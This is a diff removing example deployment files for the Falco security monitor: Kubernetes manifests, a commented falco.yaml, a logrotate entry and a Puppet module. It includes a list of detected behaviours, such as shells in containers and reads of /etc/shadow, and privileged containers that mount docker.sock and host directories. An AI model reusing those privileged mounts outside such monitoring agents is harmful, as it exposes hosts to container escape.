args: [ "/usr/bin/falco", "--cri", "/run/containerd/containerd.sock", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://$(KUBERNETES_SERVICE_HOST)", "-pk"]
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
- mountPath: /host/run/containerd/containerd.sock
name: containerd-socket
- mountPath: /host/dev
name: dev-fs
readOnly: true
- mountPath: /host/proc
name: proc-fs
readOnly: true
- mountPath: /host/boot
name: boot-fs
readOnly: true
- mountPath: /host/lib/modules
name: lib-modules
readOnly: true
- mountPath: /host/usr
name: usr-fs
readOnly: true
- mountPath: /host/etc/
name: etc-fs
readOnly: true
- mountPath: /etc/falco
name: falco-config
volumes:
- name: docker-socket
hostPath:
path: /var/run/docker.sock
- name: containerd-socket
hostPath:
path: /run/containerd/containerd.sock
- name: dev-fs
hostPath:
path: /dev
- name: proc-fs
hostPath:
path: /proc
- name: boot-fs
hostPath:
path: /boot
- name: lib-modules
hostPath:
path: /lib/modules
- name: usr-fs
hostPath:
path: /usr
- name: etc-fs
hostPath:
path: /etc
- name: falco-config
configMap:
name: falco-config

View File

@@ -1,13 +0,0 @@
kind: Service
apiVersion: v1
metadata:
name: falco-service
labels:
app: falco-example
role: security
spec:
selector:
app: falco-example
ports:
- protocol: TCP
port: 8765

View File

@@ -1,68 +0,0 @@
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: falco
labels:
name: falco-daemonset
app: demo
spec:
selector:
matchLabels:
name: falco
app: demo
role: security
template:
metadata:
labels:
name: falco
app: demo
role: security
spec:
containers:
- name: falco
image: falcosecurity/falco:latest
securityContext:
privileged: true
args: [ "/usr/bin/falco", "--cri", "/run/containerd/containerd.sock", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o", "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
- mountPath: /host/run/containerd/containerd.sock
name: containerd-socket
- mountPath: /host/dev
name: dev-fs
readOnly: true
- mountPath: /host/proc
name: proc-fs
readOnly: true
- mountPath: /host/boot
name: boot-fs
readOnly: true
- mountPath: /host/lib/modules
name: lib-modules
readOnly: true
- mountPath: /host/usr
name: usr-fs
readOnly: true
volumes:
- name: docker-socket
hostPath:
path: /var/run/docker.sock
- name: containerd-socket
hostPath:
path: /run/containerd/containerd.sock
- name: dev-fs
hostPath:
path: /dev
- name: proc-fs
hostPath:
path: /proc
- name: boot-fs
hostPath:
path: /boot
- name: lib-modules
hostPath:
path: /lib/modules
- name: usr-fs
hostPath:
path: /usr

View File

@@ -1,62 +0,0 @@
# Example Kubernetes Deployments for Falco
This directory gives you the required YAML files to stand up Falco on Kubernetes only for audit purpose as a Deployment.
To deploy Falco on Kubernetes for audit:
- `k8s-with-rbac` - This directory provides a definition to deploy a Deployment on Kubernetes with RBAC enabled.
Also provided:
- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
## Deploying to Kubernetes with RBAC enabled
Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
```
k8s-using-deployment$ kubectl create -f k8s-with-rbac/falco-k8s-audit-account.yaml
serviceaccount "falco-account" created
clusterrole "falco-cluster-role" created
clusterrolebinding "falco-cluster-role-binding" created
k8s-using-deployment$
```
We also create a service that allows other services to reach the embedded webserver in falco, which listens on https port 8765:
```
k8s-using-deployment$ kubectl create -f k8s-with-rbac/falco-k8s-audit-service.yaml
service/falco-service created
k8s-using-deployment$
```
The Deployment also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory (please note that you will need to create the /falco-config directory). Any modification of the configuration should be performed on these copies rather than the original files.
```
k8s-using-deployment$ mkdir -p k8s-with-rbac/falco-config
k8s-using-deployment$ cp ./falco.yaml k8s-with-rbac/falco-config/
k8s-using-deployment$ cp ../../rules/k8s_audit_rules.yaml k8s-with-rbac/falco-config/
```
If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
```
program_output:
enabled: true
keep_alive: false
program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
```
You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes.
```
k8s-using-deployment$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
configmap "falco-config" created
k8s-using-deployment$
```
Now that we have the requirements for our Deployment in place, we can create our Deployment.
```
k8s-using-deployment$ kubectl create -f k8s-with-rbac/falco-k8s-audit-deployment.yaml
daemonset "falco" created
k8s-using-deployment$
```

View File

@@ -1,17 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: falco-event-generator-deployment
labels:
name: falco-event-generator-deployment
app: demo
spec:
replicas: 1
template:
metadata:
labels:
app: falco-event-generator
spec:
containers:
- name: falco-event-generator
image: sysdig/falco-event-generator:latest

View File

@@ -1,167 +0,0 @@
#
# Copyright (C) 2016-2018 The Falco Authors.
#
# This file is part of falco .
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# File(s) or Directories containing Falco rules, loaded at startup.
# The name "rules_file" is only for backwards compatibility.
# If the entry is a file, it will be read directly. If the entry is a directory,
# every file in that directory will be read, in alphabetical order.
#
# falco_rules.yaml ships with the falco package and is overridden with
# every new software version. falco_rules.local.yaml is only created
# if it doesn't exist. If you want to customize the set of rules, add
# your customizations to falco_rules.local.yaml.
#
# The files will be read in the order presented here, so make sure if
# you have overrides they appear in later files.
rules_file:
- /etc/falco/k8s_audit_rules.yaml
# If true, the times displayed in log messages and output messages
# will be in ISO 8601. By default, times are displayed in the local
# time zone, as governed by /etc/localtime.
time_format_iso_8601: false
# Whether to output events in json or text
json_output: true
# When using json output, whether or not to include the "output" property
# itself (e.g. "File below a known binary directory opened for writing
# (user=root ....") in the json output.
json_include_output_property: true
# Send information logs to stderr and/or syslog Note these are *not* security
# notification logs! These are just Falco lifecycle (and possibly error) logs.
log_stderr: true
log_syslog: true
# Minimum log level to include in logs. Note: these levels are
# separate from the priority field of rules. This refers only to the
# log level of falco's internal logging. Can be one of "emergency",
# "alert", "critical", "error", "warning", "notice", "info", "debug".
log_level: info
# Minimum rule priority level to load and run. All rules having a
# priority more severe than this level will be loaded/run. Can be one
# of "emergency", "alert", "critical", "error", "warning", "notice",
# "info", "debug".
priority: debug
# Whether or not output to any of the output channels below is
# buffered. Defaults to false
buffered_outputs: false
# Falco uses a shared buffer between the kernel and userspace to pass
# system call information. When falco detects that this buffer is
# full and system calls have been dropped, it can take one or more of
# the following actions:
# - "ignore": do nothing. If an empty list is provided, ignore is assumed.
# - "log": log a CRITICAL message noting that the buffer was full.
# - "alert": emit a falco alert noting that the buffer was full.
# - "exit": exit falco with a non-zero rc.
#
# The rate at which log/alert messages are emitted is governed by a
# token bucket. The rate corresponds to one message every 30 seconds
# with a burst of 10 messages.
syscall_event_drops:
actions:
- log
- alert
rate: .03333
max_burst: 10
# A throttling mechanism implemented as a token bucket limits the
# rate of falco notifications. This throttling is controlled by the following configuration
# options:
# - rate: the number of tokens (i.e. right to send a notification)
# gained per second. Defaults to 1.
# - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
#
# With these defaults, falco could send up to 1000 notifications after
# an initial quiet period, and then up to 1 notification per second
# afterward. It would gain the full burst back after 1000 seconds of
# no activity.
outputs:
rate: 1
max_burst: 1000
# Where security notifications should go.
# Multiple outputs can be enabled.
syslog_output:
enabled: true
# If keep_alive is set to true, the file will be opened once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the file will be re-opened
# for each output message.
#
# Also, the file will be closed and reopened if falco is signaled with
# SIGUSR1.
file_output:
enabled: false
keep_alive: false
filename: ./events.txt
stdout_output:
enabled: true
# Falco contains an embedded webserver that can be used to accept K8s
# Audit Events. These config options control the behavior of that
# webserver. (By default, the webserver is disabled).
#
# The ssl_certificate is a combination SSL Certificate and corresponding
# key contained in a single file. You can generate a key/cert as follows:
#
# $ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
# $ cat certificate.pem key.pem > falco.pem
# $ sudo cp falco.pem /etc/falco/falco.pem
webserver:
enabled: true
listen_port: 8765
k8s_audit_endpoint: /k8s_audit
ssl_enabled: false
ssl_certificate: /etc/falco/falco.pem
# Possible additional things you might want to do with program output:
# - send to a slack webhook:
# program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
# - logging (alternate method than syslog):
# program: logger -t falco-test
# - send over a network connection:
# program: nc host.example.com 80
# If keep_alive is set to true, the program will be started once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the program will be re-spawned
# for each output message.
#
# Also, the program will be closed and reopened if falco is signaled with
# SIGUSR1.
program_output:
enabled: false
keep_alive: false
program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
http_output:
enabled: false
url: http://some.url

View File

@@ -1,41 +0,0 @@
apiVersion: v1
kind: ServiceAccount
metadata:
name: falco-account
labels:
app: falco-k8s-audit
role: security
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: falco-cluster-role
labels:
app: falco-k8s-audit
role: security
rules:
- apiGroups: ["extensions",""]
resources: ["nodes","namespaces","pods","replicationcontrollers","replicasets","services","daemonsets","deployments","events","configmaps"]
verbs: ["get","list","watch"]
- apiGroups: ["apps"]
resources: ["daemonsets","deployments","replicasets","statefulsets"]
verbs: ["get","list","watch"]
- nonResourceURLs: ["/healthz", "/healthz/*"]
verbs: ["get"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: falco-cluster-role-binding
namespace: default
labels:
app: falco-k8s-audit
role: security
subjects:
- kind: ServiceAccount
name: falco-account
namespace: default
roleRef:
kind: ClusterRole
name: falco-cluster-role
apiGroup: rbac.authorization.k8s.io

View File

@@ -1,32 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: falco-k8s-audit
labels:
app: falco-k8s-audit
role: security
spec:
replicas: 1
selector:
matchLabels:
app: falco-k8s-audit
template:
metadata:
labels:
app: falco-k8s-audit
role: security
spec:
serviceAccount: falco-account
containers:
- name: falco
image: falcosecurity/falco:latest
securityContext:
privileged: true
args: [ "/usr/bin/falco", "--disable-source", "syscall", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://$(KUBERNETES_SERVICE_HOST)", "-pk"]
volumeMounts:
- mountPath: /etc/falco
name: falco-config
volumes:
- name: falco-config
configMap:
name: falco-config

View File

@@ -1,13 +0,0 @@
kind: Service
apiVersion: v1
metadata:
name: falco-k8s-audit
labels:
app: falco-k8s-audit
role: security
spec:
selector:
app: falco-k8s-audit
ports:
- protocol: TCP
port: 8765

View File

@@ -1,6 +0,0 @@
# Kubernetes Response Engine directory moved
As long as Kubernetes Response Engine and Falco has different release cycles,
the Kubernetes Response Engine has been moved to its own repository.
You can find it in https://github.com/falcosecurity/kubernetes-response-engine

View File

@@ -1,7 +0,0 @@
/var/log/falco-events.log {
rotate 5
size 1M
postrotate
/usr/bin/killall -USR1 falco
endscript
}

View File

@@ -1,3 +0,0 @@
# Example Puppet Falco Module
This contains an example [Puppet](https://puppet.com/) module for Falco.

View File

@@ -1,7 +0,0 @@
source 'https://rubygems.org'
puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 4.7']
gem 'puppet', puppetversion
gem 'puppetlabs_spec_helper', '>= 0.1.0'
gem 'puppet-lint', '>= 0.3.2'
gem 'facter', '>= 1.7.0'

View File

@@ -1,241 +0,0 @@
# Falco
#### Table of Contents
1. [Overview](#overview)
2. [Module Description - What the module does and why it is useful](#module-description)
3. [Setup - The basics of getting started with Falco](#setup)
* [What Falco affects](#what-falco-affects)
* [Beginning with Falco](#beginning-with-falco)
4. [Usage - Configuration options and additional functionality](#usage)
5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
5. [Limitations - OS compatibility, etc.](#limitations)
6. [Development - Guide for contributing to the module](#development)
## Overview
Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdigs system call capture infrastructure, Falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
#### What kind of behaviors can Falco detect?
Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
- A shell is run inside a container
- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
- A server process spawns a child process of an unexpected type
- Unexpected read of a sensitive file (like `/etc/shadow`)
- A non-device file is written to `/dev`
- A standard system binary (like `ls`) makes an outbound network connection
## Module Description
This module configures Falco as a systemd service. You configure Falco
to send its notifications to one or more output channels (syslog,
files, programs).
## Setup
### What Falco affects
This module affects the following:
* The main Falco configuration file `/etc/falco/falco.yaml`, including
** Output format (JSON vs plain text)
** Log level
** Rule priority level to run
** Output buffering
** Output throttling
** Output channels (syslog, file, program)
### Beginning with Falco
To have Puppet install Falco with the default parameters, declare the Falco class:
``` puppet
class { 'falco': }
```
When you declare this class with the default options, the module:
* Installs the appropriate Falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
* Starts the Falco service.
## Usage
### Enabling file output
To enable file output, set the `file_output` hash, as follows:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
### Enabling program output
To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
``` puppet
class { 'falco':
json_output => 'true',
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Reference
* [**Public classes**](#public-classes)
* [Class: falco](#class-falco)
### Public Classes
#### Class: `falco`
Guides the basic setup and installation of Falco on your system.
When this class is declared with the default options, Puppet:
* Installs the appropriate Falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/Falco/falco.yaml`. By default only syslog output is enabled.
* Starts the falco service.
You can simply declare the default `falco` class:
``` puppet
class { 'falco': }
```
###### `rules_file`
An array of files for Falco to load. Order matters--the first file listed will be loaded first.
Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
##### `json_output`
Whether to output events in json or text.
Default: `false`
##### `log_stderr`
Send Falco's logs to stderr. Note: this is not notifications, this is
logs from the Falco daemon itself.
Default: `false`
##### `log_syslog`
Send Falco's logs to syslog. Note: this is not notifications, this is
logs from the Falco daemon itself.
Default: `true`
##### `log_level`
Minimum log level to include in logs. Note: these levels are
separate from the priority field of rules. This refers only to the
log level of Falco's internal logging. Can be one of "emergency",
"alert", "critical", "error", "warning", "notice", "info", "debug".
Default: `info`
##### `priority`
Minimum rule priority level to load and run. All rules having a
priority more severe than this level will be loaded/run. Can be one
of "emergency", "alert", "critical", "error", "warning", "notice",
"info", "debug".
Default: `debug`
##### `buffered_outputs`
Whether or not output to any of the output channels below is
buffered.
Default: `true`
##### `outputs_rate`/`outputs_max_burst`
A throttling mechanism implemented as a token bucket limits the
rate of Falco notifications. This throttling is controlled by the following configuration
options:
* `outputs_rate`: the number of tokens (i.e. right to send a notification)
gained per second. Defaults to 1.
* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
##### `syslog_output
Controls syslog output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `true`.
Example:
``` puppet
class { 'falco':
syslog_output => {
'enabled' => 'true',
},
}
```
##### `file_output`
Controls file output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `filename`: Notifications will be written to this file.
Example:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
##### `program_output
Controls program output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `program`: Notifications will be written to this program.
Example:
``` puppet
class { 'falco':
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Limitations
The module works where Falco works as a daemonized service (generally, Linux only).
## Development
For more information on Sysdig Falco, visit our [github](https://github.com/falcosecurity/falco) or [web site](https://sysdig.com/opensource/falco/).

View File

@@ -1,18 +0,0 @@
require 'rubygems'
require 'puppetlabs_spec_helper/rake_tasks'
require 'puppet-lint/tasks/puppet-lint'
PuppetLint.configuration.send('disable_80chars')
PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
desc "Validate manifests, templates, and ruby files"
task :validate do
Dir['manifests/**/*.pp'].each do |manifest|
sh "puppet parser validate --noop #{manifest}"
end
Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
end
Dir['templates/**/*.erb'].each do |template|
sh "erb -P -x -T '-' #{template} | ruby -c"
end
end

View File

@@ -1,12 +0,0 @@
# == Class: falco::config
class falco::config inherits falco {
file { '/etc/falco/falco.yaml':
ensure => file,
require => Class['falco::install'],
notify => Service['falco'],
owner => 'root',
group => 'root',
mode => '0644',
content => template('falco/falco.yaml.erb'),
}
}

Some files were not shown because too many files have changed in this diff Show More